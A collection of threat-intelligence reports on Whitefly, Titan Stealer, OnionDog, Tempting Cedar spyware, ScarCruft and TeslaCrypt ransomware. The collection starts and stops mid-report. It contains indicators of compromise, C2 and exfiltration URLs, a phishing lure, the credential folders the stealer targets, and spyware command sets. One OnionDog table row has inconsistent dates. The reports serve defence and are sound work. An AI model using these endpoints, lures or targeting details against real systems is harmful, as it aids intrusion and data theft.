Whitefly keeps the compromise alive by deploying a number of tools that facilitate communication between the attackers and infected computers. These tools include a simple remote shell tool that will call back to the C&C server and wait for commands, and an open-source hacking tool called Termite (Hacktool.Rootkit), which allows Whitefly to perform more complex actions such as controlling multiple compromised machines at a time.
## Additional malware used in selected attacks
In some attacks, Whitefly has used a second piece of custom malware, Trojan.Nibatad. Like Vcrodat, Nibatad is also a loader that leverages search order hijacking and downloads an encrypted payload to the infected computer. Similar to Vcrodat, the Nibatad payload is designed to facilitate information theft from an infected computer. While Vcrodat is delivered via the malicious dropper, we have yet to discover how Nibatad is delivered to the infected computer. Why Whitefly uses these two different loaders in some of its attacks remains unknown.
## Links to other attacks
Some of the tools that Whitefly has used in its attacks have also been deployed in other targeted attacks outside Singapore. Between May 2017 and December 2018, a multi-purpose command tool that has been used by Whitefly was also used in attacks against defense, telecoms, and energy targets in Southeast Asia and Russia. The tool appears to be custom-built and, aside from its use by Whitefly, these were the only other attacks where Symantec has observed its use. In another case, Vcrodat was also used in an attack on a UK-based organization in the hospitality sector.
It’s possible Whitefly itself performed these attacks but it’s more likely that they were carried out by one or more other groups with access to the same tools.
## Adept attackers with a large toolset
It now appears that the SingHealth breach was not a one-off attack and was instead part of a wider pattern of attacks against organizations in the region. Whitefly is a highly adept group with a large arsenal of tools at its disposal, capable of penetrating targeted organizations and maintaining a long-term presence on their networks. Links with attacks in other regions also present the possibility that it may be part of a broader intelligence gathering operation.
## Protection/Mitigation
Symantec has the following protection in place to protect customers against these attacks:
- File-based protection
- Trojan.Vcrodat
- Trojan.Nibatad
- Hacktool.Rootkit
- Hacktool.Mimikatz
## Indicators of Compromise
| MD5 | SHA2 | Description |
|---------------------------------------|--------------------------------------------------------------------------------------------|---------------------|
| eab0a521aa7cac62d98d78ef845a8319 | a196dfe4ef7d422aadf1709b12511ae82cb96aad030422b00a9c91fb60a12f17 | Trojan.Vcrodat |
| 79bef92272c7d1c6236a03c26a0804cc | d784a12fec628860433c28caa353bb52923f39d072437393629039fa4b2ec8ad | Trojan.Vcrodat |
| 394df628b3c8977661c8bebea593e148 | 6e874ac92c7061300b402dc616a1095fa7d13c8a18c8a3ea5b30ffa832a7372c | Trojan.Nibatad |
| 51862c3615e2f8a807b1d59f3aef3507 | ed3cd71eaca603a00e4c0804dc34d84dc38c6c1e1c1f43af0568fb162c44c995 | DLL Shellcode Loader |
| b4a7049b90503534d494970851bdda62 | 9d9a6337c486738edf4e5d1790c023ba172ce9b039df1b7b9720ed4c4c9ade90 | DLL Shellcode Loader |
| | 93c9310f3984d96f53f226f5177918c4ca78b2070d5843f08d2cf351e8c239d5 | Mimikatz |
| | 263dc5a8121d20403beeeea452b6f33d51d41c6842d9d19919def1f1cb13226c | CVE-2016-0051 privilege escalation |
| | b2b2e900aa2e96ff44610032063012aa0435a47a5b416c384bd6e4e58a048ac9 | Termite |
| | dda22de8ad7d807cdac8c269b7e3b35a3021dcbff722b3d333f2a12d45d9908d | Simple command line remote access tool |
| | f562e9270098851dc716e3f17dbacc7f9e2f98f03ec5f1242b341baf1f7d544c | Simple command line remote access tool |
| | 7de8b8b314f2d2fb54f8f8ad4bba435e8fc58b894b1680e5028c90c0a524ccd9 | Multi-purpose command tool |
## About the Author
Threat Hunter Team
The Threat Hunter Team is a group of security experts within Symantec whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis that helps customers respond to attacks. |
# The Titan Stealer: Notorious Telegram Malware Campaign
## Overview
The Uptycs threat research team recently discovered a campaign involving the Titan Stealer malware, marketed and sold by a threat actor (TA) through a Telegram channel for cybercrime purposes. The stealer is capable of stealing a variety of information from infected Windows machines, including credential data from browsers and crypto wallets, FTP client details, screenshots, system information, and grabbed files.
The TA has posted a screenshot of the builder tool for the malware, which includes options for targeting/stealing specific types of information, such as browser data, crypto wallet information, FTP client details, and Telegram plugins. The builder also includes options for collecting specific file types from the victim's machine.
## Malware Operation
The figure illustrates the malicious operation followed by the Titan Stealer malware.
## Technical Analysis
### Stage 1
The analyzed binary is a 32-bit executable compiled with GCC. The second section named ".data" has a larger raw size compared to the other sections and contains encrypted data for the Titan Stealer. When the binary is executed, it decrypts the XOR-encoded payload in the same memory region, which is a Golang-compiled binary. The binary (stage 1) then uses a process-hollowing technique to inject itself into a legitimate target process called "AppLaunch.exe."
### Stage 2
The stage 2 binary is a 32-bit executable that starts running from the memory region of the "AppLaunch.exe" process after it has been successfully injected. The build ID of the Golang-compiled binary is also provided.
### Browser Info
The malware attempts to read all the files in the "User Data" folder of various browsers using the CreateFile API, in order to steal information such as credentials, autofill states, browser metrics, crashpad data, crowd deny data, cache data, code cache data, extension state data, GPU cache data, local storage data, platform notifications data, session storage data, site characteristics database data, storage data, and sync data.
The FindFirstFileW API allows a program to search for a file in a directory or subdirectory, enabling malware to search for specific files or directories on the system, such as the directories where browsers are installed.
The malware targets specific browser directories on a system to identify and potentially attack the installed browsers:
- `%USERPROFILE%\AppData\Local\Google\Chrome\`
- `%USERPROFILE%\AppData\Local\Chromium\`
- `%USERPROFILE%\AppData\Local\Yandex\YandexBrowser\`
- `%USERPROFILE%\AppData\Roaming\Opera Software\Opera Stable\`
- `%USERPROFILE%\AppData\Local\BraveSoftware`
- `%USERPROFILE%\AppData\Local\Vivaldi\`
- `%USERPROFILE%\AppData\Local\Microsoft\Edge\`
- `%USERPROFILE%\AppData\Local\7Star\7Star\`
- `%USERPROFILE%\AppData\Local\Iridium\`
- `%USERPROFILE%\AppData\Local\CentBrowser\`
- `%USERPROFILE%\AppData\Local\Kometa\`
- `%USERPROFILE%\AppData\Local\Elements Browser\`
- `%USERPROFILE%\AppData\Local\Epic Privacy Browser\`
- `%USERPROFILE%\AppData\Local\uCozMedia\Uran\`
- `%USERPROFILE%\AppData\Local\Coowon\Coowon\`
- `%USERPROFILE%\AppData\Local\liebao\`
- `%USERPROFILE%\AppData\Local\QIP Surf\`
- `%USERPROFILE%\AppData\Local\Orbitum\`
- `%USERPROFILE%\AppData\Local\Amigo\User\`
- `%USERPROFILE%\AppData\Local\Torch\`
- `%USERPROFILE%\AppData\Local\Comodo\`
- `%USERPROFILE%\AppData\Local\360Browser\Browser\`
- `%USERPROFILE%\AppData\Local\Maxthon3\`
- `%USERPROFILE%\AppData\Local\Nichrome\`
- `%USERPROFILE%\AppData\Local\CocCoc\Browser\`
- `%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\`
### Crypto Wallet
Titan Stealer targets the following cryptocurrency wallets and collects information from them, sending it to the attacker's server:
- Edge Wallet
- Coinomi
- Ethereum
- Zcash
- Armory
- Bytecoin
### Sensitive Info
- **Telegram**: Reading data from the Telegram desktop app
- **Filezilla**: Reading FTP client details
The malware collects various types of logs from the infected machine, including browser information such as credentials, cookies, and history, as well as data from crypto wallets and FTP clients. Titan Stealer transmits information to a command and control server using base64 encoded archive file formats.
## Titan Stealer OSINT
The threat actor is advertising and selling Titan Stealer through a Russian-based Telegram channel. The author shares updates and bug fixes frequently, indicating active maintenance and distribution of the malware.
The threat actor has access to a separate panel that allows them to view the login activities and other data of a victim. This type of activity is often associated with cybercrime and can have serious consequences for both the victim and the attacker.
## Conclusion: Detect and Block Titan Stealer Attacks
To defend against malware attacks like the Titan Stealer, it is recommended to:
- Update passwords regularly to reduce the risk of a large-scale attack
- Avoid downloading applications from untrusted sites
- Avoid clicking on URLs or attachments in spam emails
Enterprises should implement tight security controls and multi-layered visibility and security solutions to identify and detect such malware. For example, Uptycs’ EDR (Endpoint Detection and Response) correlation engine can detect the Titan Stealer's activity by using behavioral rules and YARA process scanning capabilities.
### Uptycs EDR Detection
Uptycs EDR customers can easily scan for Titan Stealer since Uptycs EDR is armed with YARA process scanning and advanced detections. Additionally, Uptycs EDR contextual detection provides important details about the identified malware.
### MITRE ATT&CK Techniques for Titan Stealer
| Tactic | Technique ID | Technique Name |
|---------------------|--------------|------------------------------------|
| Defense Evasion | T1055.012 | Process Hollowing |
| Discovery | T1083 | File and Directory Discovery |
| Discovery | T1082 | System Information Discovery |
| Exfiltration | T1041 | Exfiltration Over C2 Channel |
### IOCs
**File name** | **Md5 hash**
Stage 1 | e7f46144892fe5bdef99bdf819d1b9a6
Stage 2 | b10337ef60818440d1f4068625adfaa2
**Related Hashes:**
| Md5 hashes | File Type |
|---------------------------------------------|-------------|
| 82040e02a2c16b12957659e1356a5e19 | Executable |
| 1af2037acbabfe804a522a5c4dd5a4ce | Executable |
| 01e2a830989de3a870e4a2dac876487a | Executable |
| a98e68c19c2bafe9e77d1c00f9aa7e2c | Executable |
| 7f46e8449ca0e20bfd2b288ee6f4e0d1 | Executable |
| 78601b24a38dd39749db81a3dcba52bd | Executable |
| b0604627aa5e471352c0c32865177f7a | Executable |
| 1dbe3fd4743f62425378b840315da3b7 | Executable |
| 5e79869f7f8ba836896082645e7ea797 | Executable |
| 2815dee54a6b81eb32c95d42afae25d2 | Executable |
| 82040e02a2c16b12957659e1356a5e19 | Executable |
**Domain/URL:**
- `http://77.73.133.88:5000`
- `http://77.73.133.88:5000/sendlog`
**Tag(s):** Malware, Threat Research
**Author:** Karthickkumar Kathiresan is a security researcher at Uptycs with 8+ years of experience in the field of cybersecurity. His area of expertise includes static and dynamic malware analysis, as well as reverse engineering on Windows platforms. Karthick has also created malware signatures. |
# Onion Dog: A 3-Year-Old APT Focused on the Energy and Transportation Industries in Korean-Language Countries
**BEIJING, March 8, 2016** — The Helios Team at 360 SkyEye Labs recently revealed that a hacker group named OnionDog has been infiltrating and stealing information from the energy, transportation, and other infrastructure industries of Korean-language countries through the Internet. According to big data correlation analysis, OnionDog's first activity can be traced back to October 2013, and in the following two years, it was only active between late July and early September. The self-set life cycle of a Trojan attack is 15 days on average and is distinctly organizational and objective-oriented.
OnionDog malware is transmitted by taking advantage of the vulnerability of the popular office software Hangul in Korean-language countries, and it attacked network-isolated targets through a USB worm. In addition, OnionDog also used dark web ("Onion City") communications tools, with which it can visit the domain without the Onion browser, making its real identity hidden in the completely anonymous Tor network.
## OnionDog APT Targets the Infrastructure Industry
OnionDog concentrated its efforts on infrastructure industries in Korean-language countries. In 2015, this organization mainly attacked harbors, VTS, subways, public transportation, and other transportation systems. In 2014, it attacked many electric power and water resources corporations as well as other energy enterprises.
360's Threat Intelligence Center has found 96 groups of malicious code, 14 C&C domain names, and IPs related to OnionDog. It first surfaced in October 2013 and was most active in the summers of the following years. The Trojan set its own "active state" time, with the shortest being three days and the maximum twenty-nine days, from compilation to the end of activity. The average life cycle is 15 days, which makes it more difficult for the victim enterprises to notice and take action than those active for longer periods of time.
| Deadline | Compilation time | Activate state (days) |
|----------------|-------------------|-----------------------|
| Sep 8, 2015 | Aug 27, 2015 | 12 |
| Aug 8, 2015 | Aug 5, 2015 | 3 |
| Aug 8, 2015 | Aug 3, 2015 | 5 |
| Aug 8, 2015 | July 23, 2015 | 16 |
| Aug 8, 2015 | July 10, 2015 | 29 |
| July 13, 2014 | July 10, 2015 | 3 |
| Aug 9, 2014 | July 18, 2014 | 22 |
| Aug 9, 2014 | July 15, 2014 | 25 |
| July 13, 2014 | July 13, 2014 | 18 |
| Oct 25, 2013 | Oct 10, 2013 | 15 |
## The Life Cycle of Trojan Malware
OnionDog's attacks are mainly carried out in the form of spear phishing emails. The early Trojan used icons and file numbers to create a fake HWP file (Hangul's file format). Later on, the Trojan used a vulnerability in an upgraded version of Hangul, which embeds malicious code in a real HWP file. Once the file is opened, the vulnerability will be triggered to download and activate the Trojan. Since most infrastructure industries, such as the energy industry, generally adopt intranet isolation measures, OnionDog uses the USB disk drive ferry to break the false sense of security of physical isolation. In the classic APT case of the Stuxnet virus, which broke into an Iranian nuclear power plant, the virus used an employee's USB disk to circumvent network isolation. OnionDog also used this channel and generated USB worms to infiltrate the target internal network.
## "OCD-Type" Intensive Organization
In the malicious code activities of OnionDog, there are strict regulations. First, the malicious code has strict naming rules starting from the path of created PDB (symbol file). For example, the path for the USB worm is APT-USB, and the path for the spear mail file is APT-WebServer. When the OnionDog Trojan is successfully released, it will communicate to a C&C (Trojan server), download other malware, and save them in the %temp% folder, using "XXX_YYY.jpg" uniformly as the file name. These names have their special meaning and usually point to the target.
All signs show that OnionDog has strict organization and arrangement across its attack time, target, vulnerability exploration and utilization, and malicious code. At the same time, it is very cautious about covering up its tracks. In 2014, OnionDog used many fixed IPs in South Korea as its C&C sites. Of course, this does not mean that the attacker is located in South Korea. These IPs could be used as puppets and jumping boards. By 2015, OnionDog website communications were upgraded to Onion City across the board. This is so far a relatively more advanced and covert method of network communication among APT hacker attacks.
Onion City means that the deep web searching engine uses Tor2web agent technology to visit the anonymous Tor network deeply without using the Onion Browser specifically. And OnionDog uses Onion City to hide the Trojan-controlling server in the Tor network.
In recent years, APT attacks on infrastructure facilities and large-scale enterprises have frequently emerged. Some that attack an industrial control system, such as Stuxnet, Black Energy, and so on, can have devastating results. Some attacks are for the purpose of stealing information, such as the Lazarus hacker organization jointly revealed by Kaspersky, AlienVault lab, and Novetta, and OnionDog, which was recently exposed by the 360 Helios team. These secret cybercrimes can cause similarly serious losses as well.
In view of OnionDog's pattern of activity, we are likely to observe a new round of attacks this summer. The relevant threat intelligence and technical analysis report will be updated by 360's Intelligence Center.
## About Helios Team
Helios Team is a senior threat research team at Qihoo 360 that is engaged in detecting and tracing APT attacks, internet security incident response, hacker industrial chain exploration, and study. The team was established in December 2014. Within a year, it integrated the enormous security data at Qihoo 360 and realized the rapid correlation traceability of threat intelligence, and for the first time found and traced 10 APT organizations and hacker industrial chains. It broadened its horizon to the study of the hacker industry, filled the void of APT study domestically, and has offered security threat evaluation and solutions output for many enterprises and government agencies. |
# Avast Threat Research: Tempting Cedar Spyware
**Threat Intelligence Team, 21 February 2018**
Avast tracks down Tempting Cedar, a spyware that uses social engineering to trick Facebook users into downloading an Advanced Persistent Threat (APT) disguised as the Kik Messenger app. A few months ago, one of our customers reported strange messages on Facebook Messenger from fake profiles of attractive, fictitious women. These women encouraged him to download another chat application to continue their conversations, which turned out to be spyware.
After analyzing the fake Kik Messenger app, we identified the spyware, which we are calling “Tempting Cedar Spyware.” Our archives revealed APKs from several fake messenger and feed reader apps, all containing the same malicious modules. Unfortunately, many users fell for the trap.
Tempting Cedar Spyware was designed to steal information such as contacts, call logs, SMS, and photos, as well as device information like geolocation to track movements. It was also capable of recording surrounding sounds, including conversations victims had while their phone was within range.
Based on clues from the fake Facebook profiles and campaign infrastructure, we believe the perpetrators are Lebanese. The campaign was highly targeted and operated under the radar. Currently, Avast is one of the few mobile antivirus providers detecting this threat, identified as Android:SpyAgent-YP [Trj].
## Infection Vector: More than Just Facebook Friends
The malware was distributed through several fake Facebook profiles. After engaging in flirty conversations, the attackers offered to move the conversation to a more “secure and private” platform, sending a link to a phishing website hosting a malicious version of the Kik Messenger app. Victims had to adjust their device settings to install apps from unknown sources, which should have raised red flags.
Once installed, the malware connected to a command and control (C&C) server. The spyware was spread using at least three fake Facebook profiles, which we have blurred to protect the identities of the real individuals whose photos were stolen.
### Deep Analysis
The Tempting Cedar Spyware consists of different modules with specific commands designed to gather personal information about the victim, including:
- **AUDIO**: START, STOP, RECORD_START, RECORD_STOP
- **CONTACTS**: COUNT, GET
- **FS (File System)**: DOWNLOAD_STATUS, EXTERNAL, GET, INSTALL, INTERNAL, LS, MKDIR, PWD, RM
- **GEO**: GETLOC
- **INFO / USER_INFO**: PS (running apps process list)
- **PHOTOS**: LSX, GETX, LSI, GETI, TAKEPIC_FRONT, TAKEPIC_BACK
- **TELEPHONE**: COUNT_CALL_LOGS, COUNT_SMS, GET_CALL_LOGS, GET_SMS
- **KEEPALIVE**: without commands
- **PING**: not implemented
- **VIDEO**: not implemented
The spyware persisted as a service and ran after every reboot. The fake Kik application contained the same injected malicious class and a specific certificate file with different certificates belonging to the C&C domain.
### C&C Administration and Infrastructure
The malware communicated on TCP port 2020, with a C&C console also running on port 443. This console allowed attackers to live track their victims.
### Attribution
Attributing persistent threat campaigns is challenging, but several clues suggest the attackers are Lebanese. The attackers’ working hours correspond with Eastern European and Middle Eastern time zones. WHOIS data revealed that two domains used were registered by individuals from Lebanon, while others were registered with fictitious data.
### Conclusion
The Tempting Cedar campaign has been running under the radar since 2015, targeting individuals in Middle Eastern countries. The spyware’s infection vector involves social engineering through attractive, fictitious Facebook profiles. The fake Kik APK masquerades as a legitimate app, but once installed, it exfiltrates sensitive data back to the attackers. Evidence suggests the attackers are a Lebanese hacking group, although we cannot be 100% certain.
### Steps to Protect Yourself Against Spyware
1. **Use antivirus software**: Even if you accidentally download malware, antivirus software can detect and remove it.
2. **Don’t talk to strangers**: Avoid engaging with unknown individuals online.
3. **Never open links or download software from untrusted sources**: Be cautious of unsolicited messages.
4. **Download from the source**: Visit the official website of established companies to download apps directly.
### Indicators of Compromise (IOCs)
- **Fake Kik messenger SHA256**:
- 041136252FFEF074B0DEBA167BD12B8977E276BAC90195B7112260AB31DDB810
- 2807AB1A912FF0751D5B7C7584D3D38ACC5C46AFFE2F168EEAEE70358DC90006
- 3065AD0932B1011E57961104EB96EEE241261CB26B9252B0770D05320839915F
- 5259AD04BDEA3F41B3913AA09998DB49553CE529E29C868C48DF40D5AA7157EA
- 624A196B935427A82E8060876480E30CE6867CB9604107A44F85E2DA96A7A22E
- 9D1FDA875DE75DEA545D1FF84973B230412B8B4946D64FF900E9D22B065F8DCC
- B181F418F6C8C79F28B1E9179CAEFEB81BDF77315814F831AF0CF0C2507860C4
- D7A4ABA5FC2DEE270AE84EAC1DB98B7A352FB5F04FD07C3F9E69DE6E58B4C745
- F67469C82E948628761FDFD26177884384481BA4BDBC15A53E8DF92D3F216648
- FE2996BC0C47C0626F43395EEE445D12E7C024C1B0AA2358947B5F1D839A5868
- **Fake Datasettings SHA256**:
- 1DEB727C05AA5FABF6224C0881970ACA78649A799EEB6864260DE97635FA005A
- 94ADF4C8A27722307C11F6C0376D4A51CFD56BA3CC47F9E5447179D1E0F7289F
- A411A587B4256007F0E0A3C3A3C3097062242B5359A05A986195E76DA7334B7D
- **Fake feedreader SHA256**:
- 58F74545D47F5DA1ECF3093F412D7D9544A33D36430AB1AF709D835A59184611
- **Domains**:
- chat-world.site
- chat-messenger.site
- gserv.mobi
- arab-chat.site
- onlineclub.info
- free-apps.us
- network-lab.info
- kikstore.net
- **IPs**:
- 185.166.236.134
- 46.28.109.69
- 5.135.207.244
- 31.31.75.174
- 155.94.136.10
- 213.32.65.238
- 84.200.17.154
- 185.8.237.151
- 5.45.176.236
- 46.101.199.72
- 185.99.32.0/22
- 78.40.183.0/24
- **Fake Facebook profiles**:
- facebook.com/profile.php?id=100013563997788
- facebook.com/profile.php?id=100011377795504
- facebook.com/profile.php?id=100011891805784 |
# ScarCruft continues to evolve, introduces Bluetooth harvester
**By GReAT**
## Executive summary
After publishing our initial series of blog posts back in 2016, we have continued to track the ScarCruft threat actor. ScarCruft is a Korean-speaking and allegedly state-sponsored threat actor that usually targets organizations and companies with links to the Korean peninsula. The threat actor is highly skilled and, by all appearances, quite resourceful. We recently discovered some interesting telemetry on this actor and decided to dig deeper into ScarCruft’s recent activity. This shows that the actor is still very active and constantly trying to elaborate its attack tools. Based on our telemetry, we can reassemble ScarCruft’s binary infection procedure. It used a multi-stage binary infection to update each module effectively and evade detection. In addition, we analyzed the victims of this campaign and spotted an interesting overlap of this campaign with another APT actor known as DarkHotel.
## Multi-stage binary infection
The ScarCruft group uses common malware delivery techniques such as spear phishing and Strategic Web Compromises (SWC). As in Operation Daybreak, this actor performs sophisticated attacks using a zero-day exploit. However, sometimes using public exploit code is quicker and more effective for malware authors. We witnessed this actor extensively testing a known public exploit during its preparation for the next campaign. In order to deploy an implant for the final payload, ScarCruft uses a multi-stage binary infection scheme. As a rule, the initial dropper is created by the infection procedure. One of the most notable functions of the initial dropper is to bypass Windows UAC (User Account Control) in order to execute the next payload with higher privileges. This malware uses the public privilege escalation exploit code CVE-2018-8120 or UACME, which is normally used by legitimate red teams. Afterwards, the installer malware creates a downloader and a configuration file from its resource and executes it. The downloader malware uses the configuration file and connects to the C2 server to fetch the next payload. In order to evade network level detection, the downloader uses steganography. The downloaded payload is an image file, but it contains an appended malicious payload to be decrypted.
The final payload created by the aforementioned process is a well-known backdoor, also known as ROKRAT by Cisco Talos. This cloud service-based backdoor contains many features. One of its main functions is to steal information. Upon execution, this malware creates 10 random directory paths and uses them for a specially designated purpose. The malware creates 11 threads simultaneously: six threads are responsible for stealing information from the infected host, and five threads are for forwarding collected data to four cloud services (Box, Dropbox, Pcloud, and Yandex). When uploading stolen data to a cloud service, it uses predefined directory paths such as /english, /video, or /scriptout.
## Cloud-based backdoor
The same malware contains full-featured backdoor functionality. The commands are downloaded from the /script path of a cloud service provider and the respective execution results are uploaded to the /scriptout path. It supports the following commands, which are enough to fully control the infected host:
- Get File/Process listing
- Download additional payload and execute
- Execute Windows command
- Update configuration data including cloud service token information
- Save screenshot and an audio recording
The ScarCruft group keeps expanding its exfiltration targets to steal further information from infected hosts and continues to create tools for additional data exfiltration. During our research, we confirmed that they have an interest in mobile devices.
We also discovered an interesting piece of rare malware created by this threat actor – a Bluetooth device harvester. This malware is responsible for stealing Bluetooth device information. It is fetched by a downloader and collects information directly from the infected host. This malware uses Windows Bluetooth APIs to find information on connected Bluetooth devices and saves the following information:
- Instance Name: Name of device
- Address: Address of device
- Class: Class of the device
- Connected: Whether the device is connected (true or false)
- Authenticated: Whether the device is authenticated (true or false)
- Remembered: Whether the device is a remembered device (true or false)
The attackers appear to be increasing the scope of the information collected from victims.
## Victimology
We have found several victims of this campaign, based on our telemetry – investment and trading companies in Vietnam and Russia. We believe they may have some links to North Korea, which may explain why ScarCruft decided to closely monitor them. ScarCruft also attacked a diplomatic agency in Hong Kong and another diplomatic agency in North Korea. It appears ScarCruft is primarily targeting intelligence for political and diplomatic purposes.
## Overlap with other actors
We discovered one victim from Russia that also triggered a malware detection while staying in North Korea in the past. The fact that this victim visits North Korea makes it special and suggests that it may have valuable information about North Korean affairs. ScarCruft infected this victim on September 21, 2018. But before the ScarCruft infection, another APT group also targeted this victim with the host being infected with GreezeBackdoor on March 26, 2018. GreezeBackdoor is a tool of the DarkHotel APT group, which we have previously written about. In addition, this victim was also attacked by the Konni malware on April 3, 2018. The Konni malware was disguised as a North Korean news item in a weaponized document (the name of the document was “Why North Korea slams South Korea’s recent defense talks with U.S-Japan.zip”).
## Infection timeline
This is not the first time we have seen an overlap of ScarCruft and DarkHotel actors. Members from our team have already presented on the conflict of these two threat actors at security conferences. We have also shared more details with our threat intelligence customers in the past. They are both Korean-speaking threat actors and sometimes their victimology overlaps. But both groups seem to have different TTPs (Tactics, Techniques, and Procedures) and it leads us to believe that one group regularly lurks in the other’s shadow.
## Conclusions
The ScarCruft has shown itself to be a highly-skilled and active group. It has a keen interest in North Korean affairs, attacking those in the business sector who may have any connection to North Korea, as well as diplomatic agencies around the globe. Based on ScarCruft’s recent activities, we strongly believe that this group is likely to continue to evolve.
## Appendix I – Indicators of Compromise
**File hashes (malicious documents, Trojans, emails, decoys)**
**ScarCruft tools**
- 02681a7fe708f39beb7b3cf1bd557ee9 Bluetooth info harvester
- C781f5fad9b47232b3606e4d374900cd Installer
- 032ed0cd234f73865d55103bf4ceaa22 Downloader
- 22aaf617a86e026424edb7c868742495 AV Remover
- 07d2200f5c2d03845adb5b20841faa94 AV Remover
- 1f5ac2f1744ed9c3fd01fe72ee8d334f Initial Dropper
- 4d20f7311f4f617104f559a04afd2fbf Installer
- 03e5e566c1153cb1d18b8bc7c493025f Downloader
- C66ef71830341bb99d30964a8089a1fc Loader
- 5999e01b83aa1cc12a2ad6a0c0dc27c3 Installer
- 4d3c34a3070643c225be1dbbb3457ad4 Injector
- 0790F1D7A1B9432AA5B8590286EB8B95 Downloader
- 04371bf88b598b56691b0ad9da08204b Installer
- e8b23cfc805353f55ed67cf0af58f305 UAC bypass (UACME)
- 5380a173757e67d9b12f316771012768 Installer
- Ec0e77b57cb9dd7a04ab6e453810937c Downloader
- 25701492a18854ffdb05317ec7d19c29 Installer
- 172b4dc27e41e4a0c84a803b0b944d3e UAC bypass (UACME)
- 7149c205d634c4d17dae33fffb8a68ab Image file embedded ROKRAT
- A76c4a79e6ff73bfd7149a49852e8916 ROKRAT
- F63fc2d11fcebd37be3891def5776f6c Dropper
- 899e90a0851649a5c270d1f78baf60f2 Simple HTTP Downloader
- E88f7f285163d0c080c8d3e525b35ab3 Simple HTTP Downloader
- D7c94c5ba028dc22a570f660b8dee5b9 Simple HTTP Downloader
- A6bd2cf7bccf552febb8e8347d07529a Simple HTTP Downloader
- 7a338d08226f5a38353385c8a5dec746 Simple HTTP Downloader
- 46F66D2D990660661D00F5177306309C Simple HTTP Uploader
**GreezaBackdoor of DarkHotel**
- 5e0e11bca0e94914e565c1dcc1ee6860
**Konni**
- 4c2016df6b546326d67ac2a79dea1343 |
# Your Package Has Been Successfully Encrypted: TeslaCrypt 4.1A and the Malware Attack Chain
**April 19, 2016**
**By Mark Mager**
Ransomware quickly gained national headlines in February after the Hollywood Presbyterian Medical Center in Los Angeles paid $17,000 in bitcoins to regain access to its systems. Since then, other hospitals have similarly been attacked with ransomware, leading some industry experts to proclaim it an industry-specific crisis. Although it is commonly associated with directed campaigns aimed at high-value targets such as hospitals, ransomware is actually becoming less targeted and more omnidirectional. As our latest research on TeslaCrypt demonstrates, ransomware not only is becoming more widespread, but it is also becoming more sophisticated and adaptable. TeslaCrypt 4.1A is only a week old and contains a greater variety of stealth and obfuscation techniques than its previous variants, the earliest of which is just over a year old. Organizations and individuals alike must be aware ransomware is equally likely to be found in personal networks as in critical infrastructure networks, and that its rapid transformation and growing sophistication presents significant challenges to the security community and significant threats to users of all kinds.
## History and Current Reality of Ransomware
Ransomware has been around for at least a decade, but its evolution and frequency have exploded over the last half year. In its early days, ransomware was relatively unsophisticated, uncommon, and more targeted. However, ransomware now largely involves code reuse, slight modifications to older families, and a variety of spam campaigns. Capabilities that once were the discrete realm of APTs are now accessible to attackers with fewer resources. TeslaCrypt 4.1A is indicative of this larger trend, integrating a variety of obfuscation techniques – such as AV evasion, anti-debugging, and stealth – into a powerful and rapidly changing piece of malware. Moreover, the incentive structure has shifted. Ransomware aimed at high-value targets depends entirely on getting one fish to bite, and so the ransom value is much higher. As the proliferation of ransomware via widespread spam campaigns illustrates, attackers can demand smaller sums of money, which can still be extremely lucrative because it only requires infiltration of a small percentage of targets.
## Campaign Overview
Last week, an Endgame researcher was analyzing spam emails for indications of emergent malicious activity. The researcher came upon an interesting set of emails, which were soon determined to be part of a widespread spam campaign. The emails all highlighted the successful delivery of a package, which can be tracked by simply clicking on a link. This is especially interesting timing. At the peak of procrastinators filing their taxes at the last minute, those who send in their tax forms are exactly the technically less-sophisticated users these kinds of campaigns target.
We rapidly determined that this spam campaign was attempting to broadly deliver TeslaCrypt 4.1A to individuals. In the subsequent sections, we’ll detail the various stages of the TeslaCrypt 4.1A attack chain, moving from infiltration to detection evasion, anti-analysis and evasion features, entrenchment, and the malicious mission, concluding with some points on the user experience. This integration of various obfuscation and deception techniques is indicative of the larger trend in ransomware toward more sophisticated and multi-faceted capabilities.
1. During infiltration, the downloader mechanism is attached as a zipped JavaScript file.
2. This JavaScript file is a downloader that uses the local environment's Windows Script Host (WSH) or wscript to download the payload. When the ZIP file is decompressed and the JavaScript file is executed, the WSH will be invoked to execute the code.
3. The downloader proceeds to download the TeslaCrypt implant via a HTTP GET request to greetingsyoungqq[.]com/80.exe. This binary will then be launched by the downloader.
4. To evade debuggers, the binary uses QueryPerformance/GetTickCount evasion technique to check the runtime performance as well as threading.
5. Next, the binary allocates heap memory to allocate a PE in memory. This PE does the following:
- It establishes an inter-process communication channel with the CoInitialize(), CoCreateInstance() APIs to communicate through DirectShow in order to establish various strings in memory.
- Uses QueryPerformance/GetTickCount debugging evasion technique.
- Uses Wow64DisableWow64FsRedirection to disable file system redirection for the calling thread.
- Deletes Zone.Identifier ADS after successful execution.
- Checks token membership for System Authority.
6. Next, the PE drops a copy of itself to the %UserProfile%\Documents\[12 random a-z characters].exe, creates a child process, and adds SeDebugPrivilege to the newly spawned process while in a separate thread.
7. Deletes parent binary using %COMSPEC% /C DEL %S.
8. Creates mutex "__wretw_w4523_345" for more threading activity and runs a shell command to delete volume shadow copies.
9. It entrenches the binary into the registry via a startup run key.
10. During the encrypting, it generates the public key based on the encrypted private key.
11. The implant begins encrypting all accessible files on the file system based on the file extensions in the appendix.
12. Finally, it displays the ransom note in three forms: text, image, and web page. The binary will then notify the C2 server of the presence of a new victim.
## Delivery and the Downloader
In this instance, TeslaCrypt is delivered using a zipped email attachment containing a JavaScript downloader:
**Email Spam Attack**
**Email contents:**
```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title>RE:</title>
</head>
<body>
<pre style="font-style: strong">
Your package has been successfully delivered. The proof of delivery (TRK:299736593) is enclosed down below.
</pre>
</body>
</html>
```
The ZIP attachment will contain one file: transaction_wcVSdU.js. When the ZIP is decompressed and the JavaScript file is executed by the user, the Windows Script Host will launch and execute the JavaScript. The downloader initiates a HTTP GET request to the following URI in order to download the TeslaCrypt payload (6bfa1c01c3af6206a189b975178965fe): `http://greetingsyoungqq[.]com/80.exe`. As of 4-14-2016, this URI is inactive.
